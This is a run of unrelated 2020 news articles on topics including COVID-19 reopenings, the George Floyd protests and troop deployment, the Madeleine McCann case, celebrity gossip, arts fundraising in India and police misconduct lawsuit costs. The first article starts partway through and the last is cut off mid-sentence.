People shouldnt be eating together in those common areas, either, he said. If youre having social interaction, put your mask back on. If youre going into a common area, put your mask back on. And none of this supersedes any of your own requirements, like rules from OSHA.

Companies can contact the Connecticut Business & Industry Association for supplies of masks and infrared thermometers at cbia.com, Malanca said. The supplies are limited, so you should do that soon, she said. The other thing were noticing is that factories are producing personal protective equipment to sell to other businesses. Theres a list from the state on whos doing that.

The group also reminded viewers of the forum that the Northwest CT Chamber of Ccmmerces manufacturers coalition can provide resources for supplies. The website, nwctchamberofcommerce.org, provides a link to that group.

Torringtons web page, www.torringtonct.org, has links to resources for various types of businesses.

If business have any questions or concerns, they are encouraged to email Malanca at rista_malanca@torringtonct.org, or Towey at peter_towey@torringtonct.org.
There is still hope that Madeleine McCann will be found alive despite German police investigating her disappearance as a murder, a former Northern Ireland detective has said.

Jim Gamble, the senior child protection officer who reviewed the UK's first investigation into her disappearance, said he believed she was still alive in the absence of evidence to suggest otherwise.

"I think there is simply a difference in emphasis between the German and the UK police," Mr Gamble told the Irish Independent.

"The Germans are saying that they are assuming she is dead. The British police are saying that it is still a missing-persons probe and potentially an abduction.

"While there is no evidence that Madeleine is dead, I for one will continue to believe there is still hope she is not.

"I don't think anyone should take that hope away up to and until the time that there is evidence to support otherwise."

German police have revealed that the new suspect has two previous convictions for "sexual contact with girls" and that a sexual motive has not been ruled out in Madeleine's case.

Asked whether he believed the suspect's criminal profile fitted that of someone who would also commit murder, Mr Gamble said "previous behaviour can inform assumptions around what might happen later".

In 2010, Mr Gamble was appointed by the UK Home Secretary to lead the initial scoping review of the investigation into Madeleine's disappearance.

He later appeared in a Netflix documentary on the case. Mr Gamble now runs Belfast-based INEQE Group, specialising in child internet safety. He said: "The police are closer than they have been. This is a credible suspect, with strong circumstantial evidence, wrapped around a profile that clearly fits the type of person that may have committed this type of crime."

Meanwhile, Irish tourists who holidayed in the Algarve in 2007 and who may remember a distinctive Volkswagen camper van and Jaguar car have been urged to contact police. The suspect used an early 1980s yellow-and-white Volkswagen T3 Westfalia camper van and a 1993 Jaguar XJR 6 when he lived in the Praia da Luz area.
Oklahoma Army National Guard soldiers with the 745th Military Police Detachment practice riot-control tactics with a simulated mob at Fort Chaffee, Arkansas, June 12, 2019.

Oklahoma Army National Guard

President Donald Trump's proposed deployment of active-duty troops to quell the protests in Washington, D.C. and his suggestions to do the same in states has provoked grave concerns among lawmakers, former military leaders and civil rights groups.

The differences between a National Guard service member and their active-duty counterpart could be stark.

"Once you start talking about federalizing the response, once you talk about using active-duty military forces in this law-enforcement capacity, that's when it gets both confusing to the public and potentially dangerous," a former Defense Department spokesperson said to Insider.

Visit Business Insider's homepage for more stories.

Many lawmakers and civil liberties groups were shocked by President Donald Trump's threat to deployment of active-duty troops to quell the protests in Washington, D.C. and to do the same in states if governors didn't "dominate" the ongoing protests, some of which have led to clashes with law enforcement.

Roughly 1,600 active-duty US Army soldiers were mobilized near Washington, DC on Tuesday "as a prudent planning measure in response to ongoing support to civil authorities operations," Jonathan Hoffman, the Pentagon spokesperson, said in a public statement.

The Pentagon has emphasized that as of Thursday, no active-duty troops were currently posted in Washington and that military personnel inside the capital were National Guardmembers from the District of Columbia and neighboring states who are assisting at the behest of their own governors.

NBC News and Fox News reported Thursday hundreds of active-duty soldiers from the US Army's 82nd Airborne would return to their bases from posts near the nation's capitol, but a White House spokesman told reporters that "all options are on the table" for deploying the military to respond to the protests over the death of George Floyd after a Minneapolis police office knelt on his neck for nearly nine minutes.

Story continues

The National Guard has a long history of supporting local law enforcement departments, unlike active-duty troops, who have typically been dispatched in moments of severe crisis, such as the 1992 Rodney King riots. The very possibility of Trump ordering combat troops into American streets without the request of state governors prompted former Defense Secretary Jim Mattis to warn this "erodes the moral ground" between troops and the citizens they have sworn to protect.

National Guard service members on June 2, 2020.

Yasin Ozturk/Anadolu Agency via Getty Images

Camouflaged differences

The possibility of deploying active-duty soldiers, some of whom primarily specialize in combat operations, is troubling for many former military leaders and civil rights leaders, particularly in light of the George Floyd protests and free-speech concerns.

Based on appearances, the camouflage uniforms worn by the National Guardmembers and their active-duty counterparts are nearly identical and are primarily differentiated by a unique VELCRO patch on their left shoulder, which reveals their unit affiliation at the time.

But the differences between a National Guard soldier and their active-duty counterpart could be stark in terms of preparedness. National Guard soldiers typically train for roughly 38 split days in a year, but soldiers from active-duty units conduct their training year-round and have access to more robust equipment and funding.

And while many of the activated soldiers consist of the military police  soldiers who are trained to perform law-enforcement duties that include riot control  others in the group also included service members specializing in conventional warfare and whose main focus have been fighting the post-9/11 wars overseas.

US Army soldiers from the 82nd Airborne Division.

REUTERS/Shamil Zhumatov

'Confusing to the public and potentially dangerous'

In a presidential address earlier this week, Trump, in an apparent reference to the Insurrection Act, explained that "if a city or state refuses to take the actions necessary to defend the life and property of their residents, then I will deploy the United States military and quickly solve the problem for them."

The notion of deploying active-duty troops, particularly those whose primary skills goes beyond policing, has not gone unnoticed. In states like Arkansas, where Republican Sen. Tom Cotton argued in an opinion column that the US ought to "send in the troops," some governors suggested their states were more than capable of handling the protests within their borders.

"I don't see that as having application to Arkansas," Gov. Asa Hutchinson said in the Arkansas Democrat Gazette. "I don't see that it'd be necessary for Arkansas. It's not something that we need."

A Kent State University student lies on the ground after National Guardsman fired into a crowd of demonstrators on May 4, 1970 in Kent, Ohio.

AP

Several governors have been hesitant to even activate their own National Guardmembers to curb the protests and riots. Gov. Kate Brown activated 50 unarmed Oregon National Guardsmen on Monday as a "support function only" service to law enforcement operations "behind the scenes."

"Our goal, and the goal of the overwhelming number of protesters should be to reduce violence," Brown said Monday. "You don't defuse violence by putting soldiers on our streets."

The National Guard has a storied legacy in humanitarian missions and overseas combat operations, but the organization's history is also marked with tragedy during a time of civil unrest.

On May 4, 1970, members of the Ohio National Guard's 145th Infantry Regiment and the 107th Armored Cavalry were activated and dispatched to tamp down on antiwar protests at the Kent State University in Ohio. Twenty-eight soldiers fired on a crowd of students and killed four, including one student who was shot in the back and another who was walking to class; some events in the lead-up to the tragedy are disputed.

"Once you start talking about federalizing the response, once you talk about using active-duty military forces in this law-enforcement capacity, that's when it gets both confusing to the public and potentially dangerous," David Lapan, a former Defense Department spokesperson said to Insider.

Secretary of Defense Mark Esper and Chairman of the Joint Chiefs of Staff Army Gen. Mark Milley.

DoD photo

'We are not in one of those situations'

Trump's statements on the possibility of mobilizing active-duty troops to individual states has met been met with opposition from both current and former officials. Defense Secretary Mark Esper drew a line on Wednesday and opposed the idea of invoking the Insurrection Act, cautioning that it should only be used after all other options had failed.

"The option to use active duty forces in a law enforcement role should only be used as a matter of last resort, and only in the most urgent and dire of situations," Esper said in a statement. "We are not in one of those situations now. I do not support invoking the Insurrection Act."

Trump's insistence for state governors to utilize their National Guard assets to crack down on the protests have also rankled the retired brass, who voiced their opinions in numerous recent op-eds. One of these retired officers, US Navy Adm. Mike Mullen, a former chairman of the Joint Chiefs of Staff, wrote in The Atlantic on Tuesday:

"We must, as citizens, support and defend the right  indeed, the solemn obligation  to peacefully assemble and to be heard. These are not mutually exclusive pursuits.

"And neither of these pursuits will be made easier or safer by an overly aggressive use of our military, active duty or National Guard. The United States has a long and, to be fair, sometimes troubled history of using the armed forces to enforce domestic laws. The issue for us today is not whether this authority exists, but whether it will be wisely administered."

Secretary of Defense James Mattis at the Pentagon in Washington, April 9, 2018.

REUTERS/Joshua Roberts

Mattis, Trump's former secretary of defense, also noted his concerns in a separate opinion column published in The Atlantic, and went so far as to claim that Trump "is the first president in my lifetime who does not try to unite the American people  does not even pretend to try."

"We must reject any thinking of our cities as a 'battlespace' that our uniformed military is called upon to 'dominate.' At home, we should use our military only when requested to do so, on very rare occasions, by state governors.

"Militarizing our response, as we witnessed in Washington, D.C., sets up a conflict  a false conflict  between the military and civilian society. It erodes the moral ground that ensures a trusted bond between men and women in uniform and the society they are sworn to protect, and of which they themselves are a part."

The Trump administration has since wavered on whether it would deploy active-duty troops.

In an interview with Newsmax on Wednesday, Trump appeared to suggest it may not be as necessary to mobilize active-duty soldiers to other states.

"Well, it depends," Trump said. "I don't think we'll have to. We have very strong powers to do it. The National Guard is customary and we have a very powerful National Guard."

But the following day, the White House left the possibility still open, saying that "all options are on the table."

Read the original article on Business Insider
Joe Stuczynski, CEO, Memorial Hospital Pembroke It is an honor to return to Memorial Hospital Pembroke and be given the opportunity to collaborate with a team of skilled health professionals who are leading the way through innovation and high-quality service, said Joe Stuczynski, CEO, Memorial Hospital Pembroke.

Joe Stuczynski has been named Chief Executive Officer of Memorial Hospital Pembroke, a community-based hospital offering worldclass care through its Emergency Department, freestanding 24/7 Care Center, medical and surgical services, Memorial Weight-Loss Surgery Program, Comprehensive Wound Healing Center and Hyperbaric Oxygen Therapy, Memorial Medical Detoxification Program and more. Since 2005, Stuczynski has been with Memorial Healthcare System, most recently as Chief Financial Officer of Memorial Regional Hospital South and previously served as CFO of Memorial Hospital Pembroke from 2005 to 2015.

It is an honor to return to Memorial Hospital Pembroke and be given the opportunity to collaborate with a team of skilled health professionals who are leading the way through innovation and high-quality service, said Joe Stuczynski, CEO, Memorial Hospital Pembroke. Together, we will continue to put our patients first, as we help our community find its way back to health during these unprecedented COVID-19 times.

Stuczynski has more than 25 years of progressive administrative experience in large integrated healthcare organizations with almost two decades at the executive level. His strengths include extensive financial and operational leadership, long-range forecasting, service line and program development and innovative growth strategies. In his recent role as CFO of Memorial Regional Hospital South, he was responsible for the Rehabilitation Institute, Memorial Manor Nursing Home and Home Health Services. Previously, he served as CFO for Memorial Hospital Pembroke, where he also had responsibility for a number of operational departments.

Stuczynski holds a Bachelor of Science in Business Administration/Accounting from John Carroll University and a Master in Business Administration from Florida International University. A resident of Coral Springs, Joe and his wife Deneen have four children.

Joe is a talented financial strategist with a keen eye for innovations that continue to position Memorial as a leader in providing excellent patient-centered care, said Aurelio M. Fernandez, III, FACHE, Memorial Healthcare System President & Chief Executive Officer. For 15 years, Joe has been an insightful leader within our healthcare system, and we are proud to have him take the helm of Memorial Hospital Pembroke.

About Memorial Healthcare System

Memorial Healthcare System is one of the largest public healthcare systems (by revenue) in the U.S. and a national leader in quality care and patient satisfaction. Recently named the #1 healthcare brand in the U.S. (Monigles Humanizing Brand Experience), it features a patient and family-centered approach to care at facilities that include Memorial Regional Hospital, Memorial Regional Hospital South, Joe DiMaggio Childrens Hospital, Joe DiMaggio Childrens Health Specialty Center in Wellington, Memorial Hospital West, Memorial Hospital Pembroke, Memorial Hospital Miramar, and Memorial Manor nursing home. To learn more, visit mhs.net.
Indie music artists are joining the chorus of voices decrying police brutality on the black community.

Phantogram, Jesse Malin, Jay Watts, Matthew Caws of Nada Surf, Bartees Strange, Lonemoon, Rogue Wave, Lateef the Truthspeaker, Crashing Hotels, Nick Andre, Worriers, Sulene, Superchunk and Damon & Naomi are among the acts who have contributed to "Talk  Action = Zero," a compilation album of previously unreleased music, demos, live recordings and other material now available on bandcamp.com. Organizers said the album features 90 songs from more than 90 artists, most of whom work with Bank Robber Music and Rough Trade Publishing, the two organizations that curated the project.

It was "created in reaction to the murders of George Floyd, Breonna Taylor, Ahmaud Arbery and the countless other acts of violence against black people that happen every day due to systemic racism, white supremacy and police brutality," according to a news release.

Sign up for The Knick  Get the latest news and some area history with our afternoon newsletter.

"We as a small company have always been committed to our artist community, but it would be a disservice to not recognize that the music we love and the roster of artists we represent are influenced by black culture," says Emily Roman of Bank Robber Music. "We wanted to use our platform to amplify the two communities that allow us to do what we love every day in this industry.

Buyers are asked to pay what they can for the album; the suggested price is $20.20. The release benefits Black Visions Collective, a "black run organization based in Minnesota that aims to develop Minnesota's emerging black leadership, heal the black community through justice, support the local LGBTQA community, organize powerful, strategic campaigns and build movements from the ground up," according to the news release. Visit blackvisionsmn.org for more information.
Kim Kardashian and husband Kanye West, 42, celebrated six years of marriage over the weekend, despite reports of 'tension in lockdown.'

The 39-year-old reality star has allegedly considered the idea of her and Kanye '[spending] time apart in different houses' until lockdown is uplifted, a source told The Sun on Thursday.

'Things are tough between Kim and Kanye because they never normally spend this much time together, but she doesn't want a divorce,' claimed the anonymous Insider.

Considering: Kim Kardashian has allegedly considered the idea of her and Kanye '[spending] time apart in different houses' until lockdown is uplifted, a source told The Sun on Thursday; Kim pictured in 2019

Kim apparently 'considers her marriage to Kanye and their family together a huge success' being that she is 'the only sister [in her family] who is married.

The source said that Kardashian thinks of herself and the Jesus Is King rapper 'as a power couple.'

Kim and Kanye began dating back in 2012 after enduring a lengthy friendship. They tied the knot two-years later on May 24 in 2014.

'The last thing she wants is a divorce - especially because the public backlash after her second divorce was unbearable.'

Tough: 'Things are tough between Kim and Kanye because they never normally spend this much time together, but she doesn't want a divorce,' claimed the anonymous Insider; Kim and Kanye pictured in 2019

Avoiding round three: Prior to Kanye, the KKW Cosmetics CEO was married to former professional basket ball player Kris Humphries, 35, for only 72-days in 2011 before filing for divorce; Kim and Kris pictured in 2011

Prior to Kanye, the KKW Cosmetics CEO was married to former professional basket ball player Kris Humphries, 35, for only 72-days in 2011 before filing for divorce.

The source continued: 'What I think will happen is they'll spend time apart in different houses - but not divorce.'

Kim and Kanye have been at home in quarantine from the COVID-19 pandemic with their four children - North, six, Saint, four, Chicago, two, and Psalm, 12 months - but have not seen eye-to-eye due to conflicting schedules.

The same insider told The Sun in early May that Kim and Kanye had been attempting to alleviate tension in their relationship by 'splitting their time between their $19m LA home and Kanye's Wyoming ranch.'

Trouble in paradise: Kanye West and Kim Kardashian - seen in October - have been on 'different pages' according to a report in the latest issue of Us Weekly magazine

When they are under the same roof, 'they've been staying at opposite ends of the house to keep things civil.'

According to a report in the latest issue of Us Weekly magazine, Kim and Kanye Kim have been on 'different pages.'

A source for the weekly said: 'Sometimes they are on different pages. She gets up early and works out and he is up late.

'Kim is working out nonstop and doing her thing. Kanye is having a harder time because he does not have a regimented routine like Kim.'

Self sufficient: According to the insider: 'Kim is working out nonstop and doing her thing. Kanye is having a harder time because he does not have a regimented routine like Kim'

Regardless of the circumstances the two have been doing their best to try to make it work.

The insider said: '[Kanye has been] making sure Kim has some time to herself and to unwind.'

This all comes just days after the two celebrated their sixth anniversary with Kim revealing the sweet floral arrangement her husband sent her in a photo posted to her Instagram Stories last Wednesday.

The loving display came amid rumors that the high-profile couple's relationship has become increasingly strained as they continue to quarantine at home amid the coronavirus pandemic.

Sweet display: This all comes just days after the two celebrated their sixth anniversary with Kim revealing the sweet floral arrangement her husband sent her in a photo posted to her Instagram Stories last Wednesday

Kim had the flowers prominently displayed on a kitchen counter in the simple photo.

Kanye had one set of pale pink roses arrange in the shape of a six, though he also included a standard bouquet in a white vase.

Kim let Kanye's loving gesture do the talking and didn't bother captioning the photo.

It wasn't clear from her post whether the Jesus Walks rapper delivered the flowers on Sunday, their anniversary, or if they arrived later, though the pandemic might have slowed down a flower delivery.

Old school: On Sunday, the Keeping Up With The Kardashians star shared some sweet throwback photos in honor of her anniversary

'6 years down': She and the rapper beamed wider than usual in a cute snap, before she planted a kiss on his cheek in the follow-up. 'Forever to go Until the end,' she wrote

On Sunday, the Keeping Up With The Kardashians star shared some sweet throwback photos in honor of her anniversary.

She and the rapper beamed wider than usual in a cute snap, before she planted a kiss on his cheek in the follow-up.

'6 years down; forever to go,' the reality star captioned two throwback pictures of her arms wrapped around the Stronger hitmaker's shoulders. 'Until the end.'

In the past, Kanye has made more dramatic displays of his love for Kim, though he tends to save his biggest gestures for Valentine's day, rather than their anniversary.

Unforgettable: Kanye has previously made dramatic displays, like when he had Kenny G serenade Kim for Valentine's Day 2019

In 2019, he famously surprised her by having Kenny G serenade her on his soprano saxophone while surrounded by red, white and pink roses.

'NO BIG DEAL KENNY G IN MY LIVING ROOM!!! Happy Valentines Day,' she captioned a video of the smooth jazz legend playing.

This year, Kanye surprised Kim again by jetting her down to Mexico for a surprise trip.

Trouble in paradise: Despite the public declarations of their love, rumors have swirled that Kim and Kanye haven't been getting along well while quarantining; shown in 2015

Despite the public declarations of their love, rumors have swirled that Kim and Kanye haven't been getting along well while quarantining with their four children at their Hidden Hills mansion.

'Kim feels like she needs some space from Kanye,' a source told Us Weekly earlier this month.

The two have reportedly been staying on opposite sides of their massive home in order to keep their interactions civil.

'She is trying to be a great mom, focus on law school and her work commitments and it's hard to do all of this without Kanye helping as much as he can,' the source continued.

The source also described the rapper as 'super controlling' and said Kim felt 'he's been trying to impose his views on her life,' though they didn't specify how he's been trying to control her.

Space cowboy: 'Kim feels like she needs some space from Kanye,' a source told Us Weekly earlier this month

Both sides now: The two have been staying on opposite ends of the house to keep their relations civil in front of the children; pictured in 2018

It was previously reported that he didn't want Kim to wear as much revealing clothing as she did earlier in their relationship.

Sources close to the reality star have also said that Kanye has been 'focused on creating,' leaving much of the parenting to Kim, according to Us Weekly in April.

She isn't used to spending this much time taking care of the kids, as she's constantly on the go when she isn't quarantining at home.
Global Hawks return to Yokota AB, provides continuous support to joint partners, allies

By Staff Sgt. Matthew Gilmore, 374th Airlift Wing Public Affairs / Published June 04, 2020

YOKOTA AIR BASE, Japan (AFNS) -- Pacific Air Forces will conduct a rotation of RQ-4 Global Hawks from Andersen Air Force Base, Guam, to Yokota Air Base beginning May 30 to ensure continuous operations in support of U.S. Indo-Pacific Command's reconnaissance requirements.

The rotation of Global Hawks, owned by the 319th Reconnaissance Wing Detachment 1, to Yokota AB provides a stable location from which the platform can operate when inclement weather in Guam, including typhoon activities, historically hinder readiness.

"Having alternate locations to execute our mission during seasons of inclement weather ensures our ability to continue executing U.S. Indo-Pacific Command and the alliance reconnaissance requirements in support of the defense of Japan and to maintain international peace and security in the region," explained Lt. Col. Ben Craycraft, 319th Operations Group Detachment 1 commander.

"I am extremely excited to return to Yokota (AB) and continue to build our partnership with this extremely capable base and its supportive community," he continued. "As in 2019, Yokota AB continues to provide the most ideal location for our operations due to the Kanto Plain's favorable weather and our ability to conduct operations without causing impacts to Yokota (AB)'s flight operations or the local communities surrounding the base."

The Global Hawk's mission is to support a broad spectrum of U.S. intelligence, surveillance and reconnaissance, or ISR, collection capabilities to support joint combatant forces in worldwide peacetime, contingency and crisis operations.

In addition to supporting ISR requirements, the Global Hawk has been used for humanitarian assistance and disaster relief operations, such as Operation Tomodachi and in support of multiple search and rescue missions in the vicinity of Japan.

The Global Hawk serves as a high-altitude, long-endurance, remotely piloted and unarmed aerial reconnaissance system. The aircraft is designed to provide persistent, day and night, high-resolution, all-weather imagery of large geographic areas with an array of integrated sensors and cameras.

"Yokota (AB) continues to demonstrate it is one of the most effective and capable bases to safely receive aircraft and personnel during annual rotations or during a crisis or contingency," added Col. Otis Jones, 374th Airlift Wing commander. "Whether it's an unseen enemy like the coronavirus or more visible threats like typhoons, Team Yokota is ready to ensure our partners and allies can continue their mission from a reliable airfield."



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New Delhi, June 5 : The pandemic has proven to be a trying time for the art and crafts communities across India. The lockdown has brought every performance, festival and corporate occasion to a standstill, which has had an especially devastating effect on folk musicians, dancers, visual artists and sculptors, weavers, puppeteers, technical engineers, and designers, all those who rely on regular incomes from these festivals, weddings, shows, exhibits at craft fairs, and public gatherings.

#ArtMatters, an initiative by the Teamwork Fine Arts Society, is working towards creating awareness about this new reality faced by various artistes across India and developing support channels for them. Since its inception, over 100 industry leaders, artists and art enthusiasts have participated in the #ArtMatters campaign, extending their support towards the cause through donations, video appeals and testimonials. In one of its recently held virtual meets the aim was to highlight the difficulties artistes are facing and how the larger fraternity can join hands to advocate effective change.

The panel featured Laila Tyabji, Chairperson and Founder of Dastkar, Dadi Pudumjee, Founder of The Ishara Puppet Theatre Trust; Sanjoy K. Roy, Managing Director of Teamwork Arts, renowned Kathak dancer and choreographer Aditi Mangaldas and Jehan Manekshaw, Founder of Theatre Professionals and Head of School at the Drama School, Mumbai.

Padma Shri Laila Tyabji, who has been working to create a sustainable sustenance model for craftspeople across India said "Art matters, and so do the artists and craftspeople who make it. All of us need to stick together and bring forth their issues to light." Sharing his thoughts on the initiative, Sanjoy K. Roy, Managing Director at Teamwork Arts said, "ArtMatters began as an advocacy campaign to highlight the contribution of artists and artisans to our syncretic culture, tradition and daily life. Since then the campaign has grown to support artists and artisans who have been impacted across the country." More than a hundred million individuals across the country earn their primary or secondary income from the art they practice, perfect, and perform. From the Manganiyars of Jaisalmer, to the Bauls of Bengal, the puppeteers and magicians of the Kathputli Colony in Delhi, to the weavers of Benaras, and a number of dancers, theatre practitioners, musicians, painters, and photographers, these artistes and numerous art forms are celebrated in the proud declaration of India's cultural diversity.

"We artistes have been far too long used as cultural diplomacy all over the world. It is about time that the powers that be look into the millions of artists who in these times need a helping hand. Civil society is doing all it can, but where are the ministries (government), the academies and others who we have performed for?" asked Dadi Pudumjee, one of India's foremost puppeteers and President of UNIMA International stated.

Covering the various verticals that the performing and visual arts landscape provides, #ArtMatters has been working towards mobilising industry leaders, art connoisseurs and art lovers in order to build a single umbrella of communication that underlines the difficulties faced by the community while raising sufficient resources for the affected artistes.

An educator in the field of theatre, Mumbai-based Jehan Manekshaw shared, "As leaders in our space it is upto us to take all the relationships and networks we have formed over the years and point their eyes into the direction of these artists, at least until the government is in the position to take over. Also what I feel as a mentor is to keep teaching and to keep exploring new ways to reach out to potential students. The biggest challenge is to see how we can translate a form that is all about the physical space and be able to educate via technology." #ArtMatters is currently working with multiple artists, artiste communities and organisations across the country. Since April, it has collaborated with Rajasthan Josh Sidhar Vikas Sansthan, which is raising resources for families of folk musicians in a village in Jaisalmer, the Brahmaputra Cultural Foundation, which is helping artistes and their families in Assam, and the Vimor Handloom Foundation, which is working with weavers across the country. Other noteworthy partners include UNESCO, FICCI and ICCR (Indian Council for Cultural Relations).

Design studio Raw Mango and celebrated Kathak exponent Aditi Mangaldas rooted for raising funds for the artistes who have been left without any source of income during the pandemic. With the objective of spreading awareness about the difficulties being faced by the artiste community, they have collaborated on a series of short films by Mangaldas, performed by the members of the Aditi Mangaldas Dance Company - The Drishtikon Dance Foundation, that brings together the original work 'WITHIN' and their current creative impulse, from within the confines of their homes. During the press meet, Aditi, lamented on the current state of affairs and shared her motivation behind creating these films.

"Belonging to a small community of artists in India who are privileged, I felt compelled to offer an artistic experience rather than just make an appeal. Do consider this as an offering to bring you something to cherish and cheer on our community. We hope that you will open your hearts and donate for the wonderful artists who are struggling to survive in these unprecedented times," the dancer commented.

As a part of the larger campaign, Teamwork Fine Arts Society is also organising a fundraising concert that will seek to drive donations for our unsung folk heroes. The concert will be a cinematic voyage-from Kashmir to Kanyakumari, from the sandy deserts of Rajasthan to the hilly terrain of Assam- that will take viewers across different regions, uncovering the cultural landscape through dance, music, art and craft, with some brilliant folk artistes, weavers and craftspeople alongside some of the most successful names from the Indian art community. The concert will give a glimpse of our country's rich and vibrant traditions through beautiful performances and compelling interviews with the artistes.

(IANSlife can be contacted at ianslife@ians.in)
Neither of the two draft laws on the issue have yet been submitted to Parliament.

Ukrainian President Volodymyr Zelensky says war veterans should be involved in the preparation of legislation that would legalize private military companies in Ukraine.

The issue was brought up at the first meeting of the Advisory Council for the affairs of war veterans and families of Ukraine defenders, the President's Office reports.

The Advisory Council could help develop a balanced bill on the issue.

"There are two draft laws on a private army, none of which have been submitted to parliament. One of them provides no restrictions. This is a bill that could allow some business group to officially set up a private army for itself. And this would be very dangerous," he said.

Read alsoSBU refutes fake report on "Ukrainian PMC" operating in Syria

According to him, the Verkhovna Rada should put forward "priority legislative developments" as soon as possible so that legislators had time to adopt them by the close of the current session.
Experts have said that traceability is a challenge for Vietnam to boost export handicraft products to the EU in the future.

Viet Nam has exported its handicraft products to 163 countries and territories worldwide.  Photo vinanet.vn

When the EU  Viet Nam Free Trade Agreement comes into effect, Viet Nam's handicraft products cannot enter the EU market if they do not meet requirements in traceability.

"We have a lot of difficulties in completing procedures to get certificates of origin (C/O) because we do not have enough invoices and documents," Nguyen Thi Luong, Director of Hien Luong Bamboo and Rattan Export Co, Ltd., said to the Nhip cau dau tu magazine (Business Review).

Luong said local businesses face difficulties in implementing traceability for their products because the material supply chain has too many small suppliers and households who have no valid input invoices.

Viet Nam has few suppliers of chemicals and materials with certificates in the supply chain of the handicraft industry.

The suppliers have too many commodities and diversified manufacturing processes so they also face difficulties in the following traceability.

The handicrafts are not essential goods, but demand for these decorative products is increasing in developed countries, according to the Viet Nam Handicraft Export Association (Vietcraft).

"The global market has a huge demand for handicrafts, worth a total of US$100 billion, but Viet Nam accounts for only 2 per cent, said Le Ba Ngoc, Vietcraft vice-chairman.

The traceability issue is challenging the growth of the domestic handicraft industry with about 1.5 million workers and a total export value of about $1.7 billion per year, Ngoc said.

At present, the Government aims to develop the national traceability system, he said. This is a great policy but the system may take 5-7 years to develop. Therefore, the handicraft export enterprises could not take advantage of the EVFTA.

Meanwhile, Vietcraft has encouraged local enterprises to systematise the supply chain from communes. This way forces enterprises to reorganise the material supply system, he said.

Local enterprises need to have enough knowledge about this issue according to the market demand. That would help them boost handicraft exports to other countries, especially to the EU that has strict requirements.

Viet Nam has exported its handicraft products to 163 countries and territories worldwide, including rattan and lacquer products. However, the handicraft export value to the EU market has been low, of which the export value to Germany accounts for 8 per cent of the total and 7 per cent to France. Therefore, Viet Nam has great potential in exporting handicrafts to the European market.  VNS

Mong people's handicraft weaving preserved to boost tourism Authorities and residents in northern Vietnam have vowed to preserve the cultural traditions of the ethnic Mong people.
SAGINAW, MI - As Gov. Gretchen Whitmers Stay Home, Stay Safe restrictions begin to lift, libraries in Saginaw and Bay counties are prepping to reopen Monday, June 8. Midlands Grace A. Dow Memorial Library will remain closed until further notice due to recent flooding.

The Public Libraries of Saginaw will reopen Monday at 25 percent capacity, according to Director Maria McCarville. All staff members went through training sessions on workplace infection-control practices, proper use of personal protective equipment and steps employees must take to notify the library of any symptoms of coronavirus.

Our focus is on health and safety procedures - social distancing, face coverings, quarantining books for three days when they are returned, frequent disinfection of equipment and work areas, McCarville said.

All Saginaw libraries will open for normal hours, but meeting rooms will remain closed to the public. In-person programs have also been canceled for the summer. The library will still host its Summer Reading Program for Children and Teens starting June 22.

Hoyt Library, 505 Janes Ave., will offer curbside pickup starting Monday during regular hours, McCarville said. This will allow patrons with concerns about COVID-19 a way to still access the librarys resources without having to enter the facility.

Saginaw libraries will not accept book donations this summer. The library asks that patrons and staff use the hand-sanitizing stations in each library building and frequently wash their hands to avoid potential spreading of COVID-19 or other illnesses and diseases.

We will be following all of the executive orders, McCarville said. Face masks will be required and signs will be posted asking people with COVID-19 symptoms to not enter the library.

View of the Alice and Jack Wirt Public Library.

The Bay County Library System will also reopen Monday. Director Trish Burns said each library will limit the amount of people allowed in the building at the same time. The libraries will open for regular hours and have curbside service available.

"Patrons just need to call us, and well pull items and have them ready when the patron calls back to let us know they are here at their appointed time,' Burns said.

Book drop offs have been reopened, and patrons who return books that were checked out during the COVID-19 shutdown will not be charged late fees. All books will be quarantined for three days before being checked in and re-shelved.

The library will make modifications to its set up and limit some services to prevent potential spread of COVID-19. Some furniture and seating has been removed, as have high touch items, such as childrens toys and games. Computer access will also be limited to ensure social distancing.

Bay County libraries had to ramp up their reopening plan quickly, Burns said, and she asks that patrons have patience as they may experience higher waiting or checkout times. Patrons are also asked to follow safety guidelines to ensure library staff and fellow patrons remain safe.

We welcome patrons back to the buildings to come and get materials, but we have to follow all of the social distancing protocols and implore patrons to please wear their masks to show kindness to others, Burns said.

A view of the Grace A. Dow Memorial Library.Submitted by GADML

Midlands Grace A. Dow Memorial Library will remain closed past Monday due to recent flooding events. The library was able to save many of its books during the historic flood on May 21 thanks to staff, volunteers and Michigan National Guard members who helped relocate books and other items.

The library is asking patrons return all materials checked out during the COVID-19 pandemic by June 15. The library will work to create a curbside service system and will continue offering ebooks and other online services.

Grace A. Dow will not be accepting book donations at this time, and the library does not need additional volunteers to help with flood cleanup. However, anyone wishing to donate to its flood relief efforts fund is asked to mail donations to the Friends of the Library, P.O. Box 2458, Midland, MI, 48641. Checks and money orders should be payable to Friends of the Grace A Dow Memorial Library and note Flood Relief in the memo line.

Anyone who may have lost or damaged library materials because of the flood is asked to email askgadml@gmail.com. Patrons should not to return flood-damaged materials. Besides email, library staff can be reached by texting 989-750-0060.

Reopening plans will be posted on the librarys website when more information is available.

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Libraries look to curbside service, book quarantine for eventual reopening in Bay and Saginaw counties

Secretary of State Jocelyn Benson testifies evidence of mail-in voter fraud is infinitesimal in Michigan

Jocelyn Benson: Michigans Democracy is stronger than coronavirus
For governments, getting sued unfortunately comes with the territory . But in recent years, the amount that cities are shelling out for police misconduct lawsuits has become not just a criminal justice issue but a financial one as well.For big cities, the costs are alarming -- equivalent to huge line items in agency budgets.In just the first eight weeks of this year, for instance, Chicago paid out $20 million in police misconduct lawsuits, according to a local news investigation. That's outpacing its average of $47 million a year over the last six years. New York City pays by far the most. In 2017, it doled out a record $302 million for police misconduct lawsuits, according to the city controller's office.For small cities, however, the financial impact can be even bigger. Most small governments have liability insurance to help them cover the costs of lawsuits. But legal costs for police misconduct can still place huge strains on budgets and, in some cases, can lead to law enforcement agencies being disbanded.Recently in Lakewood, Wash., a jury returned a $15 million verdict for the death of Leonard Thomas, who was unarmed when a police sniper shot him. While Lakewood's insurance is expected to cover a portion of that payout, the city still has to spend $6.5 million on punitive damages -- an amount equivalent to 18 percent of the city's annual spending.When misconduct lawsuits start mounting, insurance companies can withdraw coverage. Without insurance, a single claim against a local police department has the potential to bankrupt a small municipality. As a result, cities in California, Illinois, Louisiana, Ohio, Pennsylvania and Tennessee have in recent years opted to disband their police departments after losing coverage.Police misconduct lawsuits are an overlooked area of taxpayer spending and management, says David Eichenthal, executive director of the PFM Group's Center for Safety & Justice Finance. "The ability to limit your future liability by taking preventive steps upfront isn't just good policing policy, but important financial policy," he says.Ron Serpas, New Orleans' former police chief and a consultant with PFM, agrees. He says training and active monitoring of new hires can make a big difference. "You see numerous times that poor decision in hiring or 